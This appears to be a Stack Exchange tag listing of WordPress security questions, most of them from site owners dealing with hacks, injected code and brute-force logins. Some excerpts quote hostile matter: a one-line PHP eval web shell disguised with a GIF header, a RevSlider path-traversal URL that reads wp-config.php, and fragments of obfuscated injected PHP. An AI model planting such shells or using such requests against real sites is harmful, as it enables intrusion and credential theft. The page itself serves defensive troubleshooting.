WordPress is an open source content management system running on PHP and MySQL, and often used as a blog engine. Specific Wordpress questions are best asked at https://wordpress.stackexchange.com

learn more… | top users | synonyms

22
votes
4answers
5k views

Suspicious JavaScript in website header

I am not sure if this is the correct place to ask a questions such as this, apologies if it isn't. I have found the below code in the header of one of my wordPress websites, I am pretty sure it is ...
1
vote
3answers
180 views

How to protect WordPress from brute-force attacks?

One of my WordPress sites is being constantly attacked with brute force. I have the WordFence and Clef plugins installed. The number of login attempts is limited to just one. The password is very ...
6
votes
1answer
51 views

Are inactive vulnerable Wordpress plugins still unsafe?

When you install a plugin in WordPress you can choose to activate or deactivate it. Let's say you have a plugin of which the latest version is vulnerable to XSS for example and you're waiting for a ...
0
votes
2answers
104 views

Wordpress - 3.9 - uploading a php file through media gallery

I'm using Wordpress 3.9.2. As we all know, Wordpress media-upload has some restrictions - you can't upload a PHP file, cause it may be malware. There is an app called: iCon2PHP that can merge php ...
3
votes
1answer
114 views

Can a simple comment on WordPress harm my system (CVE-2016-4567)?

What risks are associated with the WordPress vulnerability CVE-2016-4567? Cross-site scripting (XSS) vulnerability in flash/FlashMediaElement.as in MediaElement.js before 2.21.0, as used in ...
40
votes
28answers
13k views

Discouraging users from copying images off a website?

Let me begin by stating that I'm aware it's extremely tedious or virtually impossible to prevent individuals from pirating content. I'm working on a website for a client who is a relatively well ...
5
votes
3answers
203 views

How bot(s) have guessed my wordpress login page?

I have a wordpress site (fully patched) that used to receive many attempts to log in based on dictionary attacks. I changed my admin user to something uncommon and use a really strong password. ...
0
votes
0answers
56 views

How to perform TimThumb remote code execution over Wordpress sites?

When I was scanning a web application, Vulnerability scanner shows me that wordpress application has a vulnerability called TimThumb Remote Code Execution (referring Webshot feature). I went through ...
-1
votes
2answers
112 views

Website Loading Content from Malicious Sites

I own a website. Now today I find that when I load the site, Chrome shows "waiting for xxx.com" and some other unknown sites. I never added content or links from these sites. The website is running on ...
-2
votes
2answers
85 views

All my PHP files has injected code in them. What do I do now? [duplicate]

I have like 10 websites on my account using WordPress and some custom coded websites. But all of my website files have this code at the beginning of every PHP file: <?php if(!isset($GLOBALS["\x61\...
0
votes
1answer
52 views

sqlmap not finding a proven vulnerability

I'm testing a wordpress site with the jetpack plugin installed. According to: https://www.exploit-db.com/exploits/18126/ this plugin should be vulnerable to SQL injection (found with sqlmap) but when ...
0
votes
1answer
101 views

website - infected by malware and if yes, how can I treat it? [closed]

A friend told me that the website of our association, here , got blocked by the corporate network of the company he is working for, due to malware (see picture below) I've tried a few website like ...
3
votes
2answers
699 views

How can I recover from a hacked WordPress site and prevent future attacks?

I have a dedicated server running WordPress and have recently noticed that its been hacked and PHPShell a remote web server controller has been uploaded. This has let the hacker view and edit files ...
2
votes
1answer
202 views

Could someone help me deobfuscate this malicious script code [duplicate]

Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the ...
6
votes
1answer
101 views

Is there any danger in the preview button in blogs?

In my Wordpress blog (though this may be true of other blogs too), there is a preview web page feature. So when I get a comment with a link, I can hover over the link, and it shows me a preview of ...
1
vote
3answers
2k views

Effectively Pentest a Wordpress Site

When it comes to blackbox pentesting of a Wordpress site, the first thing to come to mind is WPScan [http://wpscan.org/]. While pentesting some sites, I faced a common issue i.e it shows that ...
4
votes
1answer
78 views

Wordpress.org pages refresh when logging out of Gmail

I've noticed that when I change my Gmail account by logging out of one account and then logging into another, all open Wordpress.org pages refresh. Additionally, when I recently changed a password on ...
24
votes
2answers
6k views

Is email from my WordPress site a hack or just a normal comment?

I received an email for my WordPress site, where the comment section is disabled. This was the email: "Author: google (IP: 210.56.50.40, 210.56.50.40) Email: guest@gmail.com URL: http://spider....
29
votes
2answers
3k views

WordPress hacked, found suspicious file [duplicate]

Basically a website I am running got hacked in January and sent out a whole bunch of spam mails, traffic went through the roof, so the hosting company disabled the site back then, but that wasn't ...
2
votes
2answers
150 views

How could hackers get access to directory after hacking Wordpress at LinuxMint.com?

I am sure many have seen the news of the hack at Linux Mint. The ISOs were changed on 20th Feb with backdoored ISOs. They gained access via the LinuxMint Wordpress blog installation. How could they ...
0
votes
2answers
49 views

Need some help on Wordpress issue

When I am accessing my Wordpress website, for example: https://example.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php it's returning a page containing zero. Is ...
11
votes
3answers
13k views

How do crackers upload php scripts to Wordpress' wp-content directory?

I've seen a site that has been attacked by uploading php scripts (presumably some sort of shell, or code that loads a shell) to Wordpress' wp-content/uploads directory. Usually this directory is used ...
0
votes
0answers
132 views

Wordpress pingback attack

I am getting Wordpress pingback attach on my server. I tried to put if condition on nginx to block deny all requests that contains "Wordpress" in the header. It works fine but still nginx get millions ...
2
votes
2answers
291 views

Will Wordpress nonces protect against Login CSRF?

Can Wordpress Nonces be used to protect against Login CSRF? https://codex.wordpress.org/WordPress_Nonces I glanced through the code for the function and it seems to only be using the User ID for ...
1
vote
1answer
132 views

WordPress site is infected with malware, cannot find dropper [duplicate]

I am in a bit of an annoying situation. I inherited responsibilities of a WordPress multisite once managed from from other contractors and that site has been infected with virus dropping malware. I ...
-1
votes
1answer
550 views

Header.php keeps changing with JavaScript code in WordPress [duplicate]

I observed that my post on the blog takes too much time to load and I started to try finding out the issues behind it. I found there's a JavaScript code injected in header.php here: <?php <...
1
vote
1answer
153 views

WordPress is asking for my FTP password to update. Is this official behavior or am I compromised?

I'm running a personal WordPress server and I have 3 pending updates: WP update from 4.2.2 to 4.3.1. Akismet plugin update to 3.1.5 which addresses XSS issues. Twenty-fifteen theme update. For ...
4
votes
3answers
502 views

Storing credit card information for later manual processing

I am rebuilding a clients eCommerce site using Wordpress and WooCommerce as the framework. Their current eCommerce site takes the credit card information and stores it for later manual processing. To "...
2
votes
1answer
270 views

SAPE link injection into website

I currently have a WordPress website that has been updated to latest version 4.1, also latest theme installed. The problem is this SAPE Russian link network that is injecting malware code into the ...
2
votes
3answers
2k views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
4
votes
1answer
203 views

As a result of attack; random folders and files in public_html. What kind of attack is this?

As a result of attack there are random folders and php files inside them in public_html directories. Sites are Wordpress, Opencart or just HTML. All sites exposed to attack. Screenshot of the ...
2
votes
3answers
95 views

Wordpress: a Virus detection plugin is necessary?

Is a Virus detection plugin is necessary for WordPress nowadays? EDIT: I mean to prevent attacks and violations... for example i'm using this plugin: https://sucuri.net/wordpress-security/wordpress-...
0
votes
1answer
90 views

Block access using .htaccess vs password protect directories

I've come across a few articles about protecting the Wordpress admin. Is there any point of having both of these security measures in place, does one offer better security than the other? block ...
6
votes
3answers
1k views

How to prevent adding malicious code, found in hacked WordPress website?

I have a website created using WordPress and used WooCommerce as the cart plugin. Recently I found it hacked, as it responded to an AJAX request with a HTML code, which should receive a JSON object as ...
1
vote
1answer
106 views

How to add a malicious file scanner to live server?

One of my WordPress websites recently got hacked, and I had to download the full website to my local PC and clean it. As soon as I downloaded the website, my antivirus software found the malicious ...
1
vote
0answers
189 views

Random script injected in wordpress project [duplicate]

Recently a website in wordpress that is on a server of my customer appears with the script below randomly. Someone knows this pattern of virus/malware/exploit or something like this? <?php $...
1
vote
0answers
45 views

Domain authenticated video links, prevent video link sharing

I'm running WordPress and I have s2member pro plugin. I have videos that I'd like any body to watch on my website and only on my website, I realize that they could record or capture the screen, it ...
1
vote
3answers
127 views

My Hacked(?) Wordpress Sites

Hi all I'm using a shared hosting and my hosting company is saying my sites have unwanted codes and in report: Your account had been used to attack our/other servers! Your account holds malicious ...
5
votes
3answers
381 views

Can I make my online server more secure using Docker?

I had my online web server ransacked, they got in through my hosted WordPress site and privilege escalated from there. I am wondering, if I put the WordPress in a Docker, would that go a decent way ...
4
votes
3answers
354 views

Wordpress infected with Trojan

So recently our (VPS CentOS6.5) server began hosting a WP site that was, or became, infected (via revslider plugin) with some kind of trojan (probably spam sender, as we ended up on Spamhaus list very ...
4
votes
1answer
651 views

Found this weird code in my Wordpress under wp-includes

I found the following code in my Wordpress application, but I am not even sure in what is decoded. The first part of the file looks like this: <?php // Preventing a directory listing if(!empty($...
2
votes
2answers
2k views

How did the hacker get access to my WordPress upload folder? [closed]

Yesterday I found out there is this http://pastebin.com/MRRny4Ht PHP file in my friends server. I want to know how was the hacker able to upload it there? I read the similar questions but couldn't ...
1
vote
3answers
107 views

Meaning of many failed login into my website

I installed Sucuri Security plugin on my wordpress site, and it reported me that my website has 10 failed login attempts by my registered username with from last night until now. My website hasn`t ...
0
votes
3answers
220 views

Malware in RevSlider plugin?

Maybe my WordPress site is hacked, because it's always send spams (5000 / day). I found one file in plugins folder which contains this base64 code. What shoul I do? EDIT: Oh, i found another one: ...
2
votes
0answers
90 views

Where to search for vulnerabilities in a WordPress theme? [closed]

I have been doing research on a custom WordPress theme. I'm not very familiar with this CMS and how it works on the inside: where should I start my security analysis? Should I look for SQL Injection (...
0
votes
1answer
197 views

Malware code in WordPress?

I'm pretty sure that we have malware code in our WordPress website - Here is the code in question, it is located at the top of every php file in the website; { $ua=strtolower($_SERVER["\x48\124\x54\...
1
vote
1answer
84 views

There was a potential harmful file on my server, What damage has it done? [closed]

I received an abuse complaint for my server from hosting provider. After a thorough search I found file with name "title.php" in a WordPress installation's upload directory. I am curious to know what ...
22
votes
1answer
3k views

What is this? Virus or scanner? [closed]

I found a new file in my WP root folder and contains this text: <?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["jd\x67f\x6f\x77\x6a"]="\x64\x61\x74\x61\x5f\x6bey";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["c\x63\...
4
votes
2answers
391 views

Pawn in a nefarious porn marketing campaign?

About a month ago we upgraded (maybe not the right term) our site to WordPress. In that time we went from about 3800 inbound links (according to Google WebMaster) to about 5000. We exported our list ...
1
vote
3answers
92 views

How can hackers access WordPress usernames? [duplicate]

Recently I've had brute force attack attempts on some of my WordPress sites and the attackers are using actual usernames other than the default admin (which was removed). How is it possible for them ...